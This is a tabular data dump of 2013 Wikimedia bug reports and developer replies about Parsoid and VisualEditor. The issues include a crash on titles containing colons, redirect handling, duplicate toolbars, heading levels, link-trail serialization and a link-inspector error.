216497,Parsoid crashes when serializing page with colon in title,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934041,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtyrp3i5752jen7uoe6m,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
216490,Parsoid crashes when serializing page with colon in title,"(In reply to comment #0)
> POST /localhost/VisualEditor%3AMetastuff HTTP/1.0
> Host: localhost:8000
> Content-Length: 3
> 
> HTTP/1.1 500 Internal Server Error
> X-Powered-By: Express
> Content-Type: text/html; charset=utf-8
> Content-Length: 66
> Connection: close
> 
> ParserError: Failed to parse the JSON response for Page Fetch null
> 
Ignore this one, this is due to a misconfiguration on my end.

> POST /en/Talk%3AWQKO HTTP/1.0
> Host: localhost:8000
> Content-Length: 3
> 
> Foo
> 
> [Parsoid closes the connection without sending anything]
> 
> Parsoid log:
> There was an error in the HTML5 parser! Sending it back to the editor.
And this behavior occurs on the command line but not from my browser, for some reason.",,,1360785028,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xtyrp3i5752jen7uoe6m,task_subcomment,,True,c1,1,False,,,-20,,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,29.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,2.0,8.0,23.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.2093023255813953,0.4186046511627907,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Ignore this one, this is due to a misconfiguration on my end.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
And this behavior occurs on the command line but not from my browser, for some reason."
46927,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"**Author:** `phil`

**Description:**
I created a page using the normal editor that was


<gallery>
File:Example.jpg|Caption1
#REDIRECT [[Target page name]]
</gallery>


Trying to load this page in VE gives an error message
"" Error loading data from server: Server error. Would you like to retry? ""

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360730040,1362769118.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_description,resolved,True,c1,1,False,False,True,-20,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,2.0,4.0,6.0,1.0,2.0,0.0,2.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,8.0,3.5591397849462365,0.6236559139784946,"**Author:** CODE

**Description:**
I created a page using the normal editor that was


<gallery>
File:Example.jpg|Caption1
#REDIRECT [[Target page name]]
</gallery>


Trying to load this page in VE gives an error message
"" Error loading data from server: Server error. Would you like to retry? ""

--------------------------
**Version**: unspecified
**Severity**: normal"
214053,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"Phil,

I've checked and this is now fixed (in part - there's the wider question of Parsoid and redirection which is covered in bug 45808) - am marking as closed. Thank you again for your bug report!

James.",,,1362769118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,10.0,0.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.5625,0.8541666666666666,"Phil,

I've checked and this is now fixed (in part - there's the wider question of Parsoid and redirection which is covered in bug 45808) - am marking as closed. Thank you again for your bug report!

James."
214045,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"**phil** wrote:

Selecting the OK option to Retry brings the error dialog back up so the only option is to Cancel unless you want to spend all day pressing OK

thanks for the extra info on how redirect works - or is meant to work",,,1360785321,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,False,,,-20,,2.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,13.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,13.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5961538461538463,0.75,"**phil** wrote:

Selecting the OK option to Retry brings the error dialog back up so the only option is to Cancel unless you want to spend all day pressing OK

thanks for the extra info on how redirect works - or is meant to work"
214038,VisualEditor: VE chokes on unexpected redirect response from Parsoid,"Phil, did this happen when you retried? That error message (which sucks, and we're going to fix as part of bug 44354) just means that it couldn't hail the Parsoid server at the time, and normally means that nothing went wrong other than the server availability.

More generally, when you edit a page which as has a redirect OR a redirect-like string that isn't a redirect because it's not at the top of the page, Parsoid follows the redirect and returns the document that the redirect points to, which is a pair of bugs (we'll need to be able to edit #REDIRECT statements, so it shouldn't return the redirected page, and it should behave the same way as the PHP parser with regard to what is considered a redirect).",,,1360783589,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2aj3mfax5n7tlrsztfhy,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.5,2.5,4.5,2.0,0.5,0.0,0.0,1.5,3.0,0.0,0.0,0.0,1.0,0.0,5.5,11.0,0.5,2.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,7.5,1.5,2.5,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.5,1.0,12.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,10.0,2.5,4.5,3.5,3.0,13.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,4.5,11.0,3.0,0.5,0.0,0.0,4.5,0.0,4.5,3.5,0.0,0.5,0.5,0.0,0.0,3.8181818181818183,0.7207792207792207,"Phil, did this happen when you retried? That error message (which sucks, and we're going to fix as part of bug 44354) just means that it couldn't hail the Parsoid server at the time, and normally means that nothing went wrong other than the server availability.

More generally, when you edit a page which as has a redirect OR a redirect-like string that isn't a redirect because it's not at the top of the page, Parsoid follows the redirect and returns the document that the redirect points to, which is a pair of bugs (we'll need to be able to edit #REDIRECT statements, so it shouldn't return the redirected page, and it should behave the same way as the PHP parser with regard to what is considered a redirect)."
46838,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,"**Author:** `mwalker`

**Description:**
On chrome 24 and firefox 18.0.2 -- rapid switching between the edit tab and the view tab will cause multiple toolbars to be displayed on both the edit tab and view tab.

I note that the page DOM becomes more and more unusable as I keep switching.

As I am switching when I still see the 'loading' indicator; I am guessing that this is caused by a non complete initialization of the editor.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360462980,1360976726.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-aqea5euyvi5ekuwq3kig,task_description,resolved,True,c1,1,False,False,True,-21,,0.0,0.0,0.0,1.5,0.0,4.5,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,3.0,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,6.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.5,10.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,9.0,2.5,2.5,5.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,4.0,7.0,2.0,0.0,2.0,0.0,4.0,0.0,1.0,1.0,0.0,2.5,1.5,0.0,0.0,3.7946428571428568,0.6785714285714286,"**Author:** CODE

**Description:**
On chrome 24 and firefox 18.0.2 -- rapid switching between the edit tab and the view tab will cause multiple toolbars to be displayed on both the edit tab and view tab.

I note that the page DOM becomes more and more unusable as I keep switching.

As I am switching when I still see the 'loading' indicator; I am guessing that this is caused by a non complete initialization of the editor.

--------------------------
**Version**: unspecified
**Severity**: normal"
208579,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Now merged.,,,1360976726,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
208575,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,"Whoops, not yet merged.",,,1360613606,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,"Whoops, not yet merged."
208571,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Merged.,,,1360612923,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,False,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
208567,VisualEditor: Multiple toolbars created if tabs switched before initialization is complete,Patch in: https://gerrit.wikimedia.org/r/48491,,,1360612133,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-aqea5euyvi5ekuwq3kig,task_subcomment,,True,c1,1,False,,,-20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Patch in: GERRIT_URL
46780,VisualEditor: What Heading levels are offered should flex based,"**Author:** `phil`

**Description:**
Selecting some text and applying Header 6 to it has no affect

The normal editor does not offer this option so it seems inconsistent for it to be an option in the Visual Editor

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360297620,1360376842.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-hiumuha3tc6xqypqt2lz,task_description,resolved,True,c1,1,False,False,True,-21,,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,15.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,8.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.787878787878788,0.6363636363636364,"**Author:** CODE

**Description:**
Selecting some text and applying Header 6 to it has no affect

The normal editor does not offer this option so it seems inconsistent for it to be an option in the Visual Editor

--------------------------
**Version**: unspecified
**Severity**: normal"
231156,VisualEditor: What Heading levels are offered should flex based,"Levels of headings available will need to be tweakable for local integrations - for example, we probably don't want to allow H1s in the article namespace on our content wikis.

However, H6s do in fact work and should be made available in general to HTML editors; not sure whether we should provide them in article space.

Am marking this as a duplicate of bug 43334 which talks about H1s; will adjust that one.

*** This bug has been marked as a duplicate of bug 43334 ***",,,1360376842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,1.5,1.5,3.5,0.5,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,2.0,0.0,2.5,12.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,11.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,3.0,5.5,1.0,0.5,6.5,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,12.0,2.5,0.0,0.0,0.0,3.0,0.0,1.0,2.0,1.0,1.0,0.0,0.0,0.0,3.857450980392157,0.7617647058823529,"Levels of headings available will need to be tweakable for local integrations - for example, we probably don't want to allow H1s in the article namespace on our content wikis.

However, H6s do in fact work and should be made available in general to HTML editors; not sure whether we should provide them in article space.

Am marking this as a duplicate of bug 43334 which talks about H1s; will adjust that one.

*** This bug has been marked as a duplicate of bug 43334 ***"
231149,VisualEditor: What Heading levels are offered should flex based,"Created attachment 11760
Screenshot showing H1 to H6 in VisualEditor mode

**Attached**: {F11017}",,,1360376691,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.9545454545454546,0.8636363636363636,"Created attachment 11760
Screenshot showing H1 to H6 in VisualEditor mode

**Attached**: {F11017}"
231140,VisualEditor: What Heading levels are offered should flex based,"Created attachment 11759
Screenshot showing H1 to H6 in read mode

**Attached**: {F11015}",,,1360376669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hiumuha3tc6xqypqt2lz,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.590909090909091,0.8636363636363636,"Created attachment 11759
Screenshot showing H1 to H6 in read mode

**Attached**: {F11015}"
46779,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"**Author:** `phil`

**Description:**
Link includes the word 'and'

I edited the space after a link so that the word following was right next to the link. I then realised this was not what I wanted so added the space back
The preview indicated all was well with the space included but after saving the word after the link became part of the link

Example:
The text I had was
""A page about a test pilot and his job""
'test pilot' was a link

I edited the page and put the cursor before the 'a' in 'and' and pressed delete.
I then pressed Space to move the word back to its original position
Saved - the preview indicated all was well
After saving - 'and' had become part of the link

Looking at the page in the normal editor it seems the space has not been put back - the Visual Editor display indicates that it has

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11010}",Needs Triage,90.0,1360296540,1360704683.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_description,resolved,True,c1,1,False,False,True,-21,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,3.6666666666666665,0.0,0.0,0.0,2.0,0.0,4.333333333333333,6.666666666666667,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.3333333333333333,12.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,9.333333333333334,2.6666666666666665,9.0,1.0,2.3333333333333335,10.333333333333334,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,3.6666666666666665,6.666666666666667,3.3333333333333335,0.0,4.333333333333333,0.0,3.6666666666666665,0.0,0.3333333333333333,1.6666666666666667,0.0,1.6666666666666667,0.0,0.0,0.0,3.467296063186474,0.6136616068122916,"**Author:** CODE

**Description:**
Link includes the word 'and'

I edited the space after a link so that the word following was right next to the link. I then realised this was not what I wanted so added the space back
The preview indicated all was well with the space included but after saving the word after the link became part of the link

Example:
The text I had was
""A page about a test pilot and his job""
'test pilot' was a link

I edited the page and put the cursor before the 'a' in 'and' and pressed delete.
I then pressed Space to move the word back to its original position
Saved - the preview indicated all was well
After saving - 'and' had become part of the link

Looking at the page in the normal editor it seems the space has not been put back - the Visual Editor display indicates that it has

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11010}"
231072,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"Ah, couldn't find the bug; thanks, Gabriel.

*** This bug has been marked as a duplicate of bug 33091 ***",,,1360704683,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.9,0.7333333333333333,"Ah, couldn't find the bug; thanks, Gabriel.

*** This bug has been marked as a duplicate of bug 33091 ***"
231068,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"To me it seems that the VE should produce a DOM including the space: 

<a href=""foo"">bar</a> baz

If that is not the case, then this is a bug in VE. Escaping for legitimate link trails was fixed in bug 33091, which is not yet deployed.

So either way, I don't think there is a bug in Parsoid here.",,,1360704397,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,3.0,4.0,1.0,3.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,3.0,0.0,10.0,10.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,10.0,7.0,13.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,4.0,10.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,6.0,1.0,3.0,0.0,0.0,3.0,3.408450704225352,0.704225352112676,"To me it seems that the VE should produce a DOM including the space: 

<a href=""foo"">bar</a> baz

If that is not the case, then this is a bug in VE. Escaping for legitimate link trails was fixed in bug 33091, which is not yet deployed.

So either way, I don't think there is a bug in Parsoid here."
231063,Parsoid: Linktrails should get a <nowiki /> added on serialisation,"This appears to be a problem in Parsoid.

In VisualEditor the user has (effectively) created <a href=""foo"">bar</a>baz; it is unexpectedly converted into [[foo|bar]]baz instead of [[foo|bar]]<nowiki />baz, hence the confusion.

Gabriel, thoughts?",,,1360703129,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nsc6gcp3vvg4tvl6tyfb,task_subcomment,,True,c1,1,True,,,-20,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,4.408163265306122,0.8367346938775511,"This appears to be a problem in Parsoid.

In VisualEditor the user has (effectively) created <a href=""foo"">bar</a>baz; it is unexpectedly converted into [[foo|bar]]baz instead of [[foo|bar]]<nowiki />baz, hence the confusion.

Gabriel, thoughts?"
46686,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,"Open stand alone editor.  Trigger LinkInspector with cmd/ctrl+k or LinkInspector button.

Uncaught TypeError: Cannot read property 'data' of undefined ve.ui.LinkTargetInputWidget.js:84
ve.ui.LinkTargetInputWidget.getTargetFromAnnotation ve.ui.LinkTargetInputWidget.js:84
ve.ui.LinkTargetInputWidget.setAnnotation ve.ui.LinkTargetInputWidget.js:63
ve.ui.LinkInspector.onOpen ve.ui.LinkInspector.js:95
ve.ui.Inspector.open ve.ui.Inspector.js:206
ve.ui.Context.openInspector ve.ui.Context.js:355
ve.InspectorAction.open ve.InspectorAction.js:44
ve.Surface.execute ve.Surface.js:193
ve.Surface.execute ve.Surface.js:186
ve.ce.Surface.onDocumentKeyDown ve.ce.Surface.js:330
proxy jquery.js:775
jQuery.event.dispatch jquery.js:3063
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1360091400,1360105358.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_description,resolved,True,c1,1,False,False,True,-21,,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,27.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.559139784946236,0.6129032258064516,"Open stand alone editor.  Trigger LinkInspector with cmd/ctrl+k or LinkInspector button.

Uncaught TypeError: Cannot read property 'data' of undefined ve.ui.LinkTargetInputWidget.js:84
